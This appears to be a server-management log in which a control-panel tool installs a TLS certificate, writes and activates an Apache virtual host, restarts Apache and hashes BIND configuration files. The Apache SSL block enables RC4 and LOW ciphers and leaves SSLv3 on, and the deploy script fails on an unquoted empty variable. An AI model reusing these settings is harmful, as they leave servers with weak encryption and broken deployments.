fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 19:39:24:
chmod 755 /tmp/pkp380562; /tmp/pkp380562; rm /tmp/pkp380562
2025-12-31 19:39:25:
dir=/etc/ssl/certs
2025-12-31 19:39:25:
PUT: /tmp/pkp699749
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi
2025-12-31 19:39:25:
chmod 755 /tmp/pkp699749; /tmp/pkp699749; rm /tmp/pkp699749
2025-12-31 19:39:25:
/tmp/pkp699749: line 60: [: !=: unary operator expected
STDERR:
/tmp/pkp699749: line 60: [: !=: unary operator expected
2025-12-31 19:39:25:
PUT: /tmp/pkp476049
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 19:39:26:
chmod 755 /tmp/pkp476049; /tmp/pkp476049; rm /tmp/pkp476049
2025-12-31 19:39:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 19:39:26: Establishing a connection
2025-12-31 19:39:26:
PUT: /tmp/pkp419057
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:39:26:
runuser -l bind -s /bin/bash -c '/tmp/pkp419057; rm /tmp/pkp419057'
2025-12-31 19:39:27:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:39:50: Establishing a connection
2025-12-31 19:40:00: Establishing a connection
2025-12-31 19:40:00:
PUT: /tmp/pkp668978
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:40:00:
runuser -l bind -s /bin/bash -c '/tmp/pkp668978; rm /tmp/pkp668978'
2025-12-31 19:40:00:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
